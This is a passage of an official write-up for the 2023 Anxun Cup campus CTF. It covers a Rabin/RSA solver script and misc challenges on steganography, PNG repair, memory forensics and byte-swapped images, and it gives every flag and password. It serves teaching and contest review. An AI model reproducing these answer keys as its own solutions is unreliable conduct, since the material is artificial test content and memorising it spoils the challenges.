n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)

misc

dacongのsecret

得到一个压缩包和一个png

用工具或者脚本提取一下水印得到密码

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
爆破一下宽高得到key
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) 

得到一个pass
m1ku_1s_sha_fufu123

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

最后用该秘密通过jphs解出得到flag

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

dacongのWindows

由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
根据翻译推测可能是snow加密
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥
在注册表里找到
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

解一下是aes
得到第三段flag
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

疯狂的麦克斯

麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

凭这里看出应该是某种加密
结合前面的mks007,可能是凯撒偏移
尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI
(预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22)
此时对整个文档进行偏移

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。
虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

Nahida

题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西
查看另一个文件

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置
Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到
故写解密脚本

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)

得到jpg,在图片的最后看到一串字符串,
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}

原文始发于微信公众号(道格安全):2023“安洵杯”校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日15:08:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wphttp://cn-sec.com/archives/2376526.html

发表评论

匿名网友 填写信息